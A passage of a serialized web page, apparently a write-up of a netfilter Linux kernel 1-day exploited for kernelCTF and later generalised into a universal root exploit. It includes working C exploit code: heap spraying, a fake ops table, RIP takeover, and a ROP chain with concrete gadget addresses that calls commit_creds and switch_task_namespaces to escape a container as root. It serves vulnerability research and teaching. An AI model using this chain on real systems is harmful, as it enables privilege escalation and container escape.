wait_destroyer();\n",{"type":21,"tag":153,"props":58593,"children":58594},{"class":155,"line":776},[58595],{"type":21,"tag":153,"props":58596,"children":58597},{"style":671},[58598],{"type":26,"value":58599},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":21,"tag":153,"props":58601,"children":58602},{"class":155,"line":795},[58603,58608,58612,58617],{"type":21,"tag":153,"props":58604,"children":58605},{"style":671},[58606],{"type":26,"value":58607},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":21,"tag":153,"props":58609,"children":58610},{"style":170},[58611],{"type":26,"value":58573},{"type":21,"tag":153,"props":58613,"children":58614},{"style":160},[58615],{"type":26,"value":58616},"-3",{"type":21,"tag":153,"props":58618,"children":58619},{"style":671},[58620],{"type":26,"value":58583},{"type":21,"tag":153,"props":58622,"children":58623},{"class":155,"line":808},[58624],{"type":21,"tag":153,"props":58625,"children":58626},{"style":671},[58627],{"type":26,"value":58628},"    DumpHex(fake_obj, 0xe8);\n",{"type":21,"tag":153,"props":58630,"children":58631},{"class":155,"line":820},[58632],{"type":21,"tag":153,"props":58633,"children":58634},{"style":671},[58635],{"type":26,"value":58636},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":21,"tag":153,"props":58638,"children":58639},{"class":155,"line":842},[58640,58645,58649,58653,58657,58662,58667,58672,58676,58681,58686,58691,58696],{"type":21,"tag":153,"props":58641,"children":58642},{"style":671},[58643],{"type":26,"value":58644},"    printf(\"",{"type":21,"tag":153,"props":58646,"children":58647},{"style":160},[58648],{"type":26,"value":211},{"type":21,"tag":153,"props":58650,"children":58651},{"style":198},[58652],{"type":26,"value":313},{"type":21,"tag":153,"props":58654,"children":58655},{"style":160},[58656],{"type":26,"value":11387},{"type":21,"tag":153,"props":58658,"children":58659},{"style":214},[58660],{"type":26,"value":58661},"ROP",{"type":21,"tag":153,"props":58663,"children":58664},{"style":214},[58665],{"type":26,"value":58666}," addr",{"type":21,"tag":153,"props":58668,"children":58669},{"style":160},[58670],{"type":26,"value":58671},": 0",{"type":21,"tag":153,"props":58673,"children":58674},{"style":214},[58675],{"type":26,"value":21972},{"type":21,"tag":153,"props":58677,"children":58678},{"style":160},[58679],{"type":26,"value":58680},"%",{"type":21,"tag":153,"props":58682,"children":58683},{"style":214},[58684],{"type":26,"value":58685},"lx",{"type":21,"tag":153,"props":58687,"children":58688},{"style":160},[58689],{"type":26,"value":58690},"\\",{"type":21,"tag":153,"props":58692,"children":58693},{"style":214},[58694],{"type":26,"value":58695},"n",{"type":21,"tag":153,"props":58697,"children":58698},{"style":671},[58699],{"type":26,"value":58700},"\", rop_addr);\n",{"type":21,"tag":153,"props":58702,"children":58703},{"class":155,"line":3204},[58704],{"type":21,"tag":153,"props":58705,"children":58706},{"emptyLinePlaceholder":16},[58707],{"type":26,"value":759},{"type":21,"tag":153,"props":58709,"children":58710},{"class":155,"line":3230},[58711],{"type":21,"tag":153,"props":58712,"children":58713},{"style":671},[58714],{"type":26,"value":58715},"    // Point to fake ops\n",{"type":21,"tag":153,"props":58717,"children":58718},{"class":155,"line":3239},[58719],{"type":21,"tag":153,"props":58720,"children":58721},{"style":671},[58722],{"type":26,"value":58723},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":21,"tag":153,"props":58725,"children":58726},{"class":155,"line":3253},[58727],{"type":21,"tag":153,"props":58728,"children":58729},{"style":671},[58730],{"type":26,"value":13038},{"type":21,"tag":153,"props":58732,"children":58733},{"class":155,"line":3301},[58734],{"type":21,"tag":153,"props":58735,"children":58736},{"style":671},[58737],{"type":26,"value":58738},"    // Write ROP\n",{"type":21,"tag":153,"props":58740,"children":58741},{"class":155,"line":3346},[58742,58747,58751,58755,58759,58764,58769],{"type":21,"tag":153,"props":58743,"children":58744},{"style":671},[58745],{"type":26,"value":58746},"    puts(\"",{"type":21,"tag":153,"props":58748,"children":58749},{"style":160},[58750],{"type":26,"value":211},{"type":21,"tag":153,"props":58752,"children":58753},{"style":198},[58754],{"type":26,"value":313},{"type":21,"tag":153,"props":58756,"children":58757},{"style":160},[58758],{"type":26,"value":11387},{"type":21,"tag":153,"props":58760,"children":58761},{"style":214},[58762],{"type":26,"value":58763},"Write",{"type":21,"tag":153,"props":58765,"children":58766},{"style":214},[58767],{"type":26,"value":58768}," ROP",{"type":21,"tag":153,"props":58770,"children":58771},{"style":671},[58772],{"type":26,"value":58583},{"type":21,"tag":153,"props":58774,"children":58775},{"class":155,"line":3355},[58776],{"type":21,"tag":153,"props":58777,"children":58778},{"style":671},[58779],{"type":26,"value":58780},"    deludata_spray(nl, 3, 1);\n",{"type":21,"tag":153,"props":58782,"children":58783},{"class":155,"line":3364},[58784],{"type":21,"tag":153,"props":58785,"children":58786},{"style":671},[58787],{"type":26,"value":58591},{"type":21,"tag":153,"props":58789,"children":58790},{"class":155,"line":3376},[58791],{"type":21,"tag":153,"props":58792,"children":58793},{"style":671},[58794],{"type":26,"value":58795},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":21,"tag":153,"props":58797,"children":58798},{"class":155,"line":3393},[58799],{"type":21,"tag":153,"props":58800,"children":58801},{"emptyLinePlaceholder":16},[58802],{"type":26,"value":759},{"type":21,"tag":153,"props":58804,"children":58805},{"class":155,"line":3405},[58806],{"type":21,"tag":153,"props":58807,"children":58808},{"style":671},[58809],{"type":26,"value":58810},"    // Takeover RIP\n",{"type":21,"tag":153,"props":58812,"children":58813},{"class":155,"line":3427},[58814,58818,58822,58826,58830,58835,58840],{"type":21,"tag":153,"props":58815,"children":58816},{"style":671},[58817],{"type":26,"value":58746},{"type":21,"tag":153,"props":58819,"children":58820},{"style":160},[58821],{"type":26,"value":211},{"type":21,"tag":153,"props":58823,"children":58824},{"style":198},[58825],{"type":26,"value":313},{"type":21,"tag":153,"props":58827,"children":58828},{"style":160},[58829],{"type":26,"value":11387},{"type":21,"tag":153,"props":58831,"children":58832},{"style":214},[58833],{"type":26,"value":58834},"Takeover",{"type":21,"tag":153,"props":58836,"children":58837},{"style":214},[58838],{"type":26,"value":58839}," RIP",{"type":21,"tag":153,"props":58841,"children":58842},{"style":671},[58843],{"type":26,"value":58583},{"type":21,"tag":153,"props":58845,"children":58846},{"class":155,"line":3448},[58847,58852,58856,58861],{"type":21,"tag":153,"props":58848,"children":58849},{"style":671},[58850],{"type":26,"value":58851},"    dump_obj(nl, \"",{"type":21,"tag":153,"props":58853,"children":58854},{"style":170},[58855],{"type":26,"value":58573},{"type":21,"tag":153,"props":58857,"children":58858},{"style":160},[58859],{"type":26,"value":58860},"-1",{"type":21,"tag":153,"props":58862,"children":58863},{"style":671},[58864],{"type":26,"value":58583},{"type":21,"tag":153,"props":58866,"children":58867},{"class":155,"line":3456},[58868],{"type":21,"tag":153,"props":58869,"children":58870},{"style":671},[58871],{"type":26,"value":13038},{"type":21,"tag":114,"props":58873,"children":58875},{"id":58874},"bypass-context-switch-in-rcu-critical-section",[58876],{"type":26,"value":58877},"Bypass context switch in RCU critical-section",{"type":21,"tag":22,"props":58879,"children":58880},{},[58881,58882,58887],{"type":26,"value":19311},{"type":21,"tag":78,"props":58883,"children":58885},{"className":58884},[],[58886],{"type":26,"value":57405},{"type":26,"value":58888}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":21,"tag":22,"props":58890,"children":58891},{},[58892,58894,58901,58903,58909,58911,58917],{"type":26,"value":58893},"A workaround has been discussed before by D3v17 in a ",{"type":21,"tag":29,"props":58895,"children":58898},{"href":58896,"rel":58897},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[33],[58899],{"type":26,"value":58900},"previous kernelCTF submission",{"type":26,"value":58902}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":21,"tag":78,"props":58904,"children":58906},{"className":58905},[],[58907],{"type":26,"value":58908},"task_struct",{"type":26,"value":58910}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":21,"tag":78,"props":58912,"children":58914},{"className":58913},[],[58915],{"type":26,"value":58916},"__rcu_read_unlock()",{"type":26,"value":58918}," function and exit the RCU critical-section before switching contexts.",{"type":21,"tag":143,"props":58920,"children":58922},{"className":31805,"code":58921,"language":31807,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[58923],{"type":21,"tag":78,"props":58924,"children":58925},{"__ignoreMap":7},[58926,58934,58958,58965],{"type":21,"tag":153,"props":58927,"children":58928},{"class":155,"line":156},[58929],{"type":21,"tag":153,"props":58930,"children":58931},{"style":3050},[58932],{"type":26,"value":58933},"    // ROP stage 1\n",{"type":21,"tag":153,"props":58935,"children":58936},{"class":155,"line":166},[58937,58941,58946,58950,58954],{"type":21,"tag":153,"props":58938,"children":58939},{"style":170},[58940],{"type":26,"value":21773},{"type":21,"tag":153,"props":58942,"children":58943},{"style":160},[58944],{"type":26,"value":58945}," pos ",{"type":21,"tag":153,"props":58947,"children":58948},{"style":198},[58949],{"type":26,"value":2367},{"type":21,"tag":153,"props":58951,"children":58952},{"style":300},[58953],{"type":26,"value":21795},{"type":21,"tag":153,"props":58955,"children":58956},{"style":160},[58957],{"type":26,"value":1759},{"type":21,"tag":153,"props":58959,"children":58960},{"class":155,"line":225},[58961],{"type":21,"tag":153,"props":58962,"children":58963},{"emptyLinePlaceholder":16},[58964],{"type":26,"value":759},{"type":21,"tag":153,"props":58966,"children":58967},{"class":155,"line":239},[58968,58972,58977,58981,58985,58989,58993,58997],{"type":21,"tag":153,"props":58969,"children":58970},{"style":192},[58971],{"type":26,"value":58461},{"type":21,"tag":153,"props":58973,"children":58974},{"style":160},[58975],{"type":26,"value":58976},"[pos",{"type":21,"tag":153,"props":58978,"children":58979},{"style":198},[58980],{"type":26,"value":53560},{"type":21,"tag":153,"props":58982,"children":58983},{"style":160},[58984],{"type":26,"value":11387},{"type":21,"tag":153,"props":58986,"children":58987},{"style":198},[58988],{"type":26,"value":2367},{"type":21,"tag":153,"props":58990,"children":58991},{"style":160},[58992],{"type":26,"value":58482},{"type":21,"tag":153,"props":58994,"children":58995},{"style":198},[58996],{"type":26,"value":4099},{"type":21,"tag":153,"props":58998,"children":58999},{"style":160},[59000],{"type":26,"value":59001}," __RCU_READ_UNLOCK;\n",{"type":21,"tag":114,"props":59003,"children":59005},{"id":59004},"rop",[59006],{"type":26,"value":58661},{"type":21,"tag":22,"props":59008,"children":59009},{},[59010],{"type":26,"value":59011},"Most of the ROP chain to escape the container as root is business as usual:",{"type":21,"tag":87,"props":59013,"children":59014},{},[59015,59026,59037],{"type":21,"tag":91,"props":59016,"children":59017},{},[59018,59024],{"type":21,"tag":78,"props":59019,"children":59021},{"className":59020},[],[59022],{"type":26,"value":59023},"commit_creds(&init_cred);",{"type":26,"value":59025}," Commit root credentials to our process",{"type":21,"tag":91,"props":59027,"children":59028},{},[59029,59035],{"type":21,"tag":78,"props":59030,"children":59032},{"className":59031},[],[59033],{"type":26,"value":59034},"task = find_task_by_vpid(1);",{"type":26,"value":59036}," Find the root process of our namespace",{"type":21,"tag":91,"props":59038,"children":59039},{},[59040,59046],{"type":21,"tag":78,"props":59041,"children":59043},{"className":59042},[],[59044],{"type":26,"value":59045},"switch_task_namespaces(task, &init_nsproxy);",{"type":26,"value":59047}," Move it to the root namespace",{"type":21,"tag":22,"props":59049,"children":59050},{},[59051,59053,59059,59061,59067,59069,59075,59077,59083,59085,59090,59092,59098],{"type":26,"value":59052},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":21,"tag":78,"props":59054,"children":59056},{"className":59055},[],[59057],{"type":26,"value":59058},"find_task_by_vpid(1)",{"type":26,"value":59060}," passed through ",{"type":21,"tag":78,"props":59062,"children":59064},{"className":59063},[],[59065],{"type":26,"value":59066},"rax",{"type":26,"value":59068}," to ",{"type":21,"tag":78,"props":59070,"children":59072},{"className":59071},[],[59073],{"type":26,"value":59074},"rdi",{"type":26,"value":59076},". What I ended up going with was a ",{"type":21,"tag":78,"props":59078,"children":59080},{"className":59079},[],[59081],{"type":26,"value":59082},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":26,"value":59084}," gadget, that allowed me to push the ",{"type":21,"tag":78,"props":59086,"children":59088},{"className":59087},[],[59089],{"type":26,"value":59066},{"type":26,"value":59091}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":21,"tag":78,"props":59093,"children":59095},{"className":59094},[],[59096],{"type":26,"value":59097},"pop rdi; ret",{"type":26,"value":59099}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":21,"tag":87,"props":59101,"children":59102},{},[59103,59108,59121],{"type":21,"tag":91,"props":59104,"children":59105},{},[59106],{"type":26,"value":59107},"We push the value onto the stack (stack pointer regresses)",{"type":21,"tag":91,"props":59109,"children":59110},{},[59111,59113,59119],{"type":26,"value":59112},"We jump to our \"trampoline\" gadget (",{"type":21,"tag":78,"props":59114,"children":59116},{"className":59115},[],[59117],{"type":26,"value":59118},"pop rdi; ret;",{"type":26,"value":59120}," location)",{"type":21,"tag":91,"props":59122,"children":59123},{},[59124,59129],{"type":21,"tag":78,"props":59125,"children":59127},{"className":59126},[],[59128],{"type":26,"value":59097},{"type":26,"value":59130}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":21,"tag":143,"props":59132,"children":59134},{"className":31805,"code":59133,"language":31807,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[59135],{"type":21,"tag":78,"props":59136,"children":59137},{"__ignoreMap":7},[59138,59145,59162,59207,59243,59279,59286,59294,59337,59368,59404,59449,59504,59549,59556,59564,59607,59643,59679],{"type":21,"tag":153,"props":59139,"children":59140},{"class":155,"line":156},[59141],{"type":21,"tag":153,"props":59142,"children":59143},{"style":160},[59144],{"type":26,"value":13038},{"type":21,"tag":153,"props":59146,"children":59147},{"class":155,"line":166},[59148,59153,59158],{"type":21,"tag":153,"props":59149,"children":59150},{"style":160},[59151],{"type":26,"value":59152},"    // commit_creds(&",{"type":21,"tag":153,"props":59154,"children":59155},{"style":192},[59156],{"type":26,"value":59157},"init_cred",{"type":21,"tag":153,"props":59159,"children":59160},{"style":160},[59161],{"type":26,"value":530},{"type":21,"tag":153,"props":59163,"children":59164},{"class":155,"line":225},[59165,59169,59173,59177,59181,59185,59189,59193,59198,59202],{"type":21,"tag":153,"props":59166,"children":59167},{"style":192},[59168],{"type":26,"value":58461},{"type":21,"tag":153,"props":59170,"children":59171},{"style":160},[59172],{"type":26,"value":58976},{"type":21,"tag":153,"props":59174,"children":59175},{"style":198},[59176],{"type":26,"value":53560},{"type":21,"tag":153,"props":59178,"children":59179},{"style":160},[59180],{"type":26,"value":11387},{"type":21,"tag":153,"props":59182,"children":59183},{"style":198},[59184],{"type":26,"value":2367},{"type":21,"tag":153,"props":59186,"children":59187},{"style":160},[59188],{"type":26,"value":58482},{"type":21,"tag":153,"props":59190,"children":59191},{"style":198},[59192],{"type":26,"value":4099},{"type":21,"tag":153,"props":59194,"children":59195},{"style":300},[59196],{"type":26,"value":59197}," 0xffffffff8112c7c0",{"type":21,"tag":153,"props":59199,"children":59200},{"style":160},[59201],{"type":26,"value":51364},{"type":21,"tag":153,"props":59203,"children":59204},{"style":3050},[59205],{"type":26,"value":59206}," // pop rdi; ret;\n",{"type":21,"tag":153,"props":59208,"children":59209},{"class":155,"line":239},[59210,59214,59218,59222,59226,59230,59234,59238],{"type":21,"tag":153,"props":59211,"children":59212},{"style":192},[59213],{"type":26,"value":58461},{"type":21,"tag":153,"props":59215,"children":59216},{"style":160},[59217],{"type":26,"value":58976},{"type":21,"tag":153,"props":59219,"children":59220},{"style":198},[59221],{"type":26,"value":53560},{"type":21,"tag":153,"props":59223,"children":59224},{"style":160},[59225],{"type":26,"value":11387},{"type":21,"tag":153,"props":59227,"children":59228},{"style":198},[59229],{"type":26,"value":2367},{"type":21,"tag":153,"props":59231,"children":59232},{"style":160},[59233],{"type":26,"value":58482},{"type":21,"tag":153,"props":59235,"children":59236},{"style":198},[59237],{"type":26,"value":4099},{"type":21,"tag":153,"props":59239,"children":59240},{"style":160},[59241],{"type":26,"value":59242}," INIT_CRED;\n",{"type":21,"tag":153,"props":59244,"children":59245},{"class":155,"line":382},[59246,59250,59254,59258,59262,59266,59270,59274],{"type":21,"tag":153,"props":59247,"children":59248},{"style":192},[59249],{"type":26,"value":58461},{"type":21,"tag":153,"props":59251,"children":59252},{"style":160},[59253],{"type":26,"value":58976},{"type":21,"tag":153,"props":59255,"children":59256},{"style":198},[59257],{"type":26,"value":53560},{"type":21,"tag":153,"props":59259,"children":59260},{"style":160},[59261],{"type":26,"value":11387},{"type":21,"tag":153,"props":59263,"children":59264},{"style":198},[59265],{"type":26,"value":2367},{"type":21,"tag":153,"props":59267,"children":59268},{"style":160},[59269],{"type":26,"value":58482},{"type":21,"tag":153,"props":59271,"children":59272},{"style":198},[59273],{"type":26,"value":4099},{"type":21,"tag":153,"props":59275,"children":59276},{"style":160},[59277],{"type":26,"value":59278}," COMMIT_CREDS;\n",{"type":21,"tag":153,"props":59280,"children":59281},{"class":155,"line":501},[59282],{"type":21,"tag":153,"props":59283,"children":59284},{"emptyLinePlaceholder":16},[59285],{"type":26,"value":759},{"type":21,"tag":153,"props":59287,"children":59288},{"class":155,"line":533},[59289],{"type":21,"tag":153,"props":59290,"children":59291},{"style":3050},[59292],{"type":26,"value":59293},"    // task = find_task_by_vpid(1);\n",{"type":21,"tag":153,"props":59295,"children":59296},{"class":155,"line":542},[59297,59301,59305,59309,59313,59317,59321,59325,59329,59333],{"type":21,"tag":153,"props":59298,"children":59299},{"style":192},[59300],{"type":26,"value":58461},{"type":21,"tag":153,"props":59302,"children":59303},{"style":160},[59304],{"type":26,"value":58976},{"type":21,"tag":153,"props":59306,"children":59307},{"style":198},[59308],{"type":26,"value":53560},{"type":21,"tag":153,"props":59310,"children":59311},{"style":160},[59312],{"type":26,"value":11387},{"type":21,"tag":153,"props":59314,"children":59315},{"style":198},[59316],{"type":26,"value":2367},{"type":21,"tag":153,"props":59318,"children":59319},{"style":160},[59320],{"type":26,"value":58482},{"type":21,"tag":153,"props":59322,"children":59323},{"style":198},[59324],{"type":26,"value":4099},{"type":21,"tag":153,"props":59326,"children":59327},{"style":300},[59328],{"type":26,"value":59197},{"type":21,"tag":153,"props":59330,"children":59331},{"style":160},[59332],{"type":26,"value":51364},{"type":21,"tag":153,"props":59334,"children":59335},{"style":3050},[59336],{"type":26,"value":59206},{"type":21,"tag":153,"props":59338,"children":59339},{"class":155,"line":762},[59340,59344,59348,59352,59356,59360,59364],{"type":21,"tag":153,"props":59341,"children":59342},{"style":192},[59343],{"type":26,"value":58461},{"type":21,"tag":153,"props":59345,"children":59346},{"style":160},[59347],{"type":26,"value":58976},{"type":21,"tag":153,"props":59349,"children":59350},{"style":198},[59351],{"type":26,"value":53560},{"type":21,"tag":153,"props":59353,"children":59354},{"style":160},[59355],{"type":26,"value":11387},{"type":21,"tag":153,"props":59357,"children":59358},{"style":198},[59359],{"type":26,"value":2367},{"type":21,"tag":153,"props":59361,"children":59362},{"style":300},[59363],{"type":26,"value":7253},{"type":21,"tag":153,"props":59365,"children":59366},{"style":160},[59367],{"type":26,"value":1759},{"type":21,"tag":153,"props":59369,"children":59370},{"class":155,"line":776},[59371,59375,59379,59383,59387,59391,59395,59399],{"type":21,"tag":153,"props":59372,"children":59373},{"style":192},[59374],{"type":26,"value":58461},{"type":21,"tag":153,"props":59376,"children":59377},{"style":160},[59378],{"type":26,"value":58976},{"type":21,"tag":153,"props":59380,"children":59381},{"style":198},[59382],{"type":26,"value":53560},{"type":21,"tag":153,"props":59384,"children":59385},{"style":160},[59386],{"type":26,"value":11387},{"type":21,"tag":153,"props":59388,"children":59389},{"style":198},[59390],{"type":26,"value":2367},{"type":21,"tag":153,"props":59392,"children":59393},{"style":160},[59394],{"type":26,"value":58482},{"type":21,"tag":153,"props":59396,"children":59397},{"style":198},[59398],{"type":26,"value":4099},{"type":21,"tag":153,"props":59400,"children":59401},{"style":160},[59402],{"type":26,"value":59403}," FIND_TASK_BY_VPID;\n",{"type":21,"tag":153,"props":59405,"children":59406},{"class":155,"line":795},[59407,59411,59415,59419,59423,59427,59431,59435,59440,59444],{"type":21,"tag":153,"props":59408,"children":59409},{"style":192},[59410],{"type":26,"value":58461},{"type":21,"tag":153,"props":59412,"children":59413},{"style":160},[59414],{"type":26,"value":58976},{"type":21,"tag":153,"props":59416,"children":59417},{"style":198},[59418],{"type":26,"value":53560},{"type":21,"tag":153,"props":59420,"children":59421},{"style":160},[59422],{"type":26,"value":11387},{"type":21,"tag":153,"props":59424,"children":59425},{"style":198},[59426],{"type":26,"value":2367},{"type":21,"tag":153,"props":59428,"children":59429},{"style":160},[59430],{"type":26,"value":58482},{"type":21,"tag":153,"props":59432,"children":59433},{"style":198},[59434],{"type":26,"value":4099},{"type":21,"tag":153,"props":59436,"children":59437},{"style":300},[59438],{"type":26,"value":59439}," 0xffffffff8102e2a6",{"type":21,"tag":153,"props":59441,"children":59442},{"style":160},[59443],{"type":26,"value":51364},{"type":21,"tag":153,"props":59445,"children":59446},{"style":3050},[59447],{"type":26,"value":59448}," // pop rsi; ret;\n",{"type":21,"tag":153,"props":59450,"children":59451},{"class":155,"line":808},[59452,59456,59460,59464,59468,59472,59477,59481,59486,59490,59495,59499],{"type":21,"tag":153,"props":59453,"children":59454},{"style":192},[59455],{"type":26,"value":58461},{"type":21,"tag":153,"props":59457,"children":59458},{"style":160},[59459],{"type":26,"value":58976},{"type":21,"tag":153,"props":59461,"children":59462},{"style":198},[59463],{"type":26,"value":53560},{"type":21,"tag":153,"props":59465,"children":59466},{"style":160},[59467],{"type":26,"value":11387},{"type":21,"tag":153,"props":59469,"children":59470},{"style":198},[59471],{"type":26,"value":2367},{"type":21,"tag":153,"props":59473,"children":59474},{"style":160},[59475],{"type":26,"value":59476}," obj_ptr ",{"type":21,"tag":153,"props":59478,"children":59479},{"style":198},[59480],{"type":26,"value":4099},{"type":21,"tag":153,"props":59482,"children":59483},{"style":300},[59484],{"type":26,"value":59485}," 0xe0",{"type":21,"tag":153,"props":59487,"children":59488},{"style":198},[59489],{"type":26,"value":53546},{"type":21,"tag":153,"props":59491,"children":59492},{"style":300},[59493],{"type":26,"value":59494}," 0x66",{"type":21,"tag":153,"props":59496,"children":59497},{"style":160},[59498],{"type":26,"value":51364},{"type":21,"tag":153,"props":59500,"children":59501},{"style":3050},[59502],{"type":26,"value":59503},"            // rax -> rdi and resume rop\n",{"type":21,"tag":153,"props":59505,"children":59506},{"class":155,"line":820},[59507,59511,59515,59519,59523,59527,59531,59535,59540,59544],{"type":21,"tag":153,"props":59508,"children":59509},{"style":192},[59510],{"type":26,"value":58461},{"type":21,"tag":153,"props":59512,"children":59513},{"style":160},[59514],{"type":26,"value":58976},{"type":21,"tag":153,"props":59516,"children":59517},{"style":198},[59518],{"type":26,"value":53560},{"type":21,"tag":153,"props":59520,"children":59521},{"style":160},[59522],{"type":26,"value":11387},{"type":21,"tag":153,"props":59524,"children":59525},{"style":198},[59526],{"type":26,"value":2367},{"type":21,"tag":153,"props":59528,"children":59529},{"style":160},[59530],{"type":26,"value":58482},{"type":21,"tag":153,"props":59532,"children":59533},{"style":198},[59534],{"type":26,"value":4099},{"type":21,"tag":153,"props":59536,"children":59537},{"style":300},[59538],{"type":26,"value":59539}," 0xffffffff81caed31",{"type":21,"tag":153,"props":59541,"children":59542},{"style":160},[59543],{"type":26,"value":51364},{"type":21,"tag":153,"props":59545,"children":59546},{"style":3050},[59547],{"type":26,"value":59548}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":21,"tag":153,"props":59550,"children":59551},{"class":155,"line":842},[59552],{"type":21,"tag":153,"props":59553,"children":59554},{"emptyLinePlaceholder":16},[59555],{"type":26,"value":759},{"type":21,"tag":153,"props":59557,"children":59558},{"class":155,"line":3204},[59559],{"type":21,"tag":153,"props":59560,"children":59561},{"style":3050},[59562],{"type":26,"value":59563},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":21,"tag":153,"props":59565,"children":59566},{"class":155,"line":3230},[59567,59571,59575,59579,59583,59587,59591,59595,59599,59603],{"type":21,"tag":153,"props":59568,"children":59569},{"style":192},[59570],{"type":26,"value":58461},{"type":21,"tag":153,"props":59572,"children":59573},{"style":160},[59574],{"type":26,"value":58976},{"type":21,"tag":153,"props":59576,"children":59577},{"style":198},[59578],{"type":26,"value":53560},{"type":21,"tag":153,"props":59580,"children":59581},{"style":160},[59582],{"type":26,"value":11387},{"type":21,"tag":153,"props":59584,"children":59585},{"style":198},[59586],{"type":26,"value":2367},{"type":21,"tag":153,"props":59588,"children":59589},{"style":160},[59590],{"type":26,"value":58482},{"type":21,"tag":153,"props":59592,"children":59593},{"style":198},[59594],{"type":26,"value":4099},{"type":21,"tag":153,"props":59596,"children":59597},{"style":300},[59598],{"type":26,"value":59439},{"type":21,"tag":153,"props":59600,"children":59601},{"style":160},[59602],{"type":26,"value":51364},{"type":21,"tag":153,"props":59604,"children":59605},{"style":3050},[59606],{"type":26,"value":59448},{"type":21,"tag":153,"props":59608,"children":59609},{"class":155,"line":3239},[59610,59614,59618,59622,59626,59630,59634,59638],{"type":21,"tag":153,"props":59611,"children":59612},{"style":192},[59613],{"type":26,"value":58461},{"type":21,"tag":153,"props":59615,"children":59616},{"style":160},[59617],{"type":26,"value":58976},{"type":21,"tag":153,"props":59619,"children":59620},{"style":198},[59621],{"type":26,"value":53560},{"type":21,"tag":153,"props":59623,"children":59624},{"style":160},[59625],{"type":26,"value":11387},{"type":21,"tag":153,"props":59627,"children":59628},{"style":198},[59629],{"type":26,"value":2367},{"type":21,"tag":153,"props":59631,"children":59632},{"style":160},[59633],{"type":26,"value":58482},{"type":21,"tag":153,"props":59635,"children":59636},{"style":198},[59637],{"type":26,"value":4099},{"type":21,"tag":153,"props":59639,"children":59640},{"style":160},[59641],{"type":26,"value":59642}," INIT_NSPROXY;\n",{"type":21,"tag":153,"props":59644,"children":59645},{"class":155,"line":3253},[59646,59650,59654,59658,59662,59666,59670,59674],{"type":21,"tag":153,"props":59647,"children":59648},{"style":192},[59649],{"type":26,"value":58461},{"type":21,"tag":153,"props":59651,"children":59652},{"style":160},[59653],{"type":26,"value":58976},{"type":21,"tag":153,"props":59655,"children":59656},{"style":198},[59657],{"type":26,"value":53560},{"type":21,"tag":153,"props":59659,"children":59660},{"style":160},[59661],{"type":26,"value":11387},{"type":21,"tag":153,"props":59663,"children":59664},{"style":198},[59665],{"type":26,"value":2367},{"type":21,"tag":153,"props":59667,"children":59668},{"style":160},[59669],{"type":26,"value":58482},{"type":21,"tag":153,"props":59671,"children":59672},{"style":198},[59673],{"type":26,"value":4099},{"type":21,"tag":153,"props":59675,"children":59676},{"style":160},[59677],{"type":26,"value":59678}," SWITCH_TASK_NAMESPACES;\n",{"type":21,"tag":153,"props":59680,"children":59681},{"class":155,"line":3301},[59682],{"type":21,"tag":153,"props":59683,"children":59684},{"style":160},[59685],{"type":26,"value":13038},{"type":21,"tag":114,"props":59687,"children":59689},{"id":59688},"grabbing-the-kernelctf-flag",[59690],{"type":26,"value":59691},"Grabbing the kernelCTF flag",{"type":21,"tag":22,"props":59693,"children":59694},{},[59695,59699,59701,59708],{"type":21,"tag":3644,"props":59696,"children":59698},{"alt":52869,"src":59697},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":26,"value":59700},"\nYou can find the kernelCTF exploit in our ",{"type":21,"tag":29,"props":59702,"children":59705},{"href":59703,"rel":59704},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[33],[59706],{"type":26,"value":59707},"GitHub",{"type":26,"value":355},{"type":21,"tag":66,"props":59710,"children":59712},{"id":59711},"universal-exploit",[59713],{"type":26,"value":59714},"Universal exploit",{"type":21,"tag":22,"props":59716,"children":59717},{},[59718],{"type":26,"value":59719},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":21,"tag":114,"props":59721,"children":59723},{"id":59722},"pivot-capability-using-msg_msg-mlistnext-pointer",[59724],{"type":26,"value":59725},"Pivot capability using msg_msg->mlist.next 